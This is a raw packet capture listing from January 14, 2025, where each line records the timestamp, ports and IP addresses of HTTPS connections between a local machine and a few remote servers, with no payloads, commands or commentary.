Jan 14, 2025 17:25:14.746092081 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.746128082 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.746500969 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.746557951 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.746571064 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.746624947 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.746638060 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.768510103 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.768630028 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.768691063 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.768691063 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.768727064 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.768939972 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.768991947 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.768999100 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.769036055 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.769056082 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.769169092 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.769889116 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.769964933 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.770442963 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.770513058 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.770570993 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.770632029 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.770661116 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.770728111 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.771486044 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.771557093 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.771575928 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.771642923 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.784703016 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.784831047 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.784871101 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.784887075 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.784991026 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.785032988 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.785041094 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.785152912 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.785213947 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.785219908 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.785410881 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.785482883 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.785489082 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.785578966 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.785624981 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.785631895 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.789942980 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.790019035 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.790029049 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.833641052 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.833745003 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.833791971 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.833858013 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.833859921 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.833895922 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.833965063 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.833981037 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.834079027 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.834136963 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.834338903 CET	51389	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:14.834367037 CET	443	51389	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:14.841953039 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.872874022 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.873047113 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.873095989 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.873107910 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.873191118 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.873266935 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.873275042 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.873681068 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.873733997 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.873740911 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.873863935 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.873924971 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.873931885 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.874017000 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.874085903 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.874094009 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.874591112 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.874634981 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.874641895 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.874748945 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.874838114 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.874840021 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.874865055 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.874911070 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.874947071 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.875730991 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.875813007 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.875818968 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.875842094 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.875909090 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.875932932 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.876085043 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.876132965 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.876149893 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.918504000 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.918523073 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.961642981 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.961736917 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.961740017 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.961770058 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.961843967 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.961868048 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962105989 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962126970 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962240934 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.962240934 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.962251902 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962434053 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962532997 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962533951 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.962559938 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962637901 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.962650061 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962811947 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.962819099 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.962981939 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.963001966 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.963009119 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.963063955 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.963077068 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.963155031 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.963171005 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.963340044 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.963813066 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.963882923 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.963934898 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.964031935 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.964036942 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.964059114 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.964139938 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.964687109 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.964793921 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:14.964833975 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:14.964903116 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.050080061 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.050189018 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.050228119 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.050237894 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.050276041 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.050276041 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.050297976 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.050365925 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.050391912 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.050504923 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.050759077 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.050848961 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.050860882 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.050946951 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.051254034 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.051318884 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.051386118 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.051445007 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.051470995 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.051556110 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.051841021 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.052004099 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.052023888 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.052092075 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.052122116 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.052237034 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.052252054 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.052259922 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.052299976 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.052341938 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.052495956 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.052503109 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.052519083 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.052648067 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.052710056 CET	51390	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.052732944 CET	443	51390	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.074394941 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.074465990 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.074542046 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.075196981 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.075226068 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.537533045 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.538069963 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.538098097 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.539199114 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.539979935 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.540148973 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.540150881 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.587331057 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.594702959 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.644891977 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:15.644994974 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:15.645076036 CET	51386	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:25:15.672923088 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.673094034 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.673191071 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.681696892 CET	51391	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:15.681740999 CET	443	51391	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:15.814867973 CET	51386	443	192.168.2.4	142.250.185.196
Jan 14, 2025 17:25:15.814888000 CET	443	51386	142.250.185.196	192.168.2.4
Jan 14, 2025 17:25:15.815428019 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.815474987 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:15.815540075 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.815830946 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:15.815855980 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.300038099 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.300333023 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.300364017 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.300827980 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.301100016 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.301183939 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.301265001 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.343411922 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.445784092 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.445874929 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.445935965 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.445949078 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.445982933 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.446032047 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.446630001 CET	51392	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.446643114 CET	443	51392	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.660804987 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.660840988 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:16.660963058 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.661284924 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:16.661297083 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.119935989 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.135628939 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.135642052 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.136214018 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.138077974 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.138154984 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.138201952 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.183325052 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.186235905 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.253278971 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.253374100 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.253465891 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.287251949 CET	51393	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.287271023 CET	443	51393	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.329442978 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.329515934 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.329585075 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.330043077 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.330070019 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.508620977 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.508672953 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.508739948 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.509095907 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.509109020 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.786957979 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.787447929 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.787491083 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.787817955 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.788383961 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.788475990 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.788508892 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.831330061 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.839842081 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.928318024 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.928438902 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.928498030 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.929413080 CET	51394	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:17.929446936 CET	443	51394	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:17.984301090 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.984694958 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.984705925 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.985797882 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.986222029 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.986392975 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.986427069 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.986509085 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.986640930 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:17.986715078 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:17.986763954 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237153053 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237214088 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237251997 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237303019 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237322092 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.237330914 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237354040 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.237369061 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237415075 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237418890 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.237432957 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237510920 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237546921 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.237552881 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.237730980 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.241746902 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.241825104 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.242332935 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.242338896 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.282330036 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.325592041 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.325732946 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.325829983 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.325834036 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.325855970 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.325941086 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.325949907 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.326360941 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.326421022 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.326426029 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.326601982 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.326730013 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.326730013 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.345108032 CET	51396	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:18.345138073 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.345206976 CET	51396	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:18.345464945 CET	51396	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:18.345482111 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.638147116 CET	51395	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:18.638183117 CET	443	51395	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:18.802068949 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.802393913 CET	51396	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:18.802406073 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.802694082 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.802985907 CET	51396	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:18.803044081 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.803123951 CET	51396	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:18.847337961 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.944417953 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.944487095 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:18.944561958 CET	51396	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:18.945175886 CET	51396	443	192.168.2.4	104.18.95.41
Jan 14, 2025 17:25:18.945187092 CET	443	51396	104.18.95.41	192.168.2.4
Jan 14, 2025 17:25:30.708741903 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:30.708781004 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:30.708868027 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:30.709117889 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:30.709131956 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.183142900 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.183449030 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.183470011 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.183986902 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.184351921 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.184465885 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.184474945 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.184550047 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.184581995 CET	443	51397	104.18.94.41	192.168.2.4
Jan 14, 2025 17:25:31.184669018 CET	51397	443	192.168.2.4	104.18.94.41
Jan 14, 2025 17:25:31.184704065 CET	443	51397	104.18.94.41	192.168.2.4
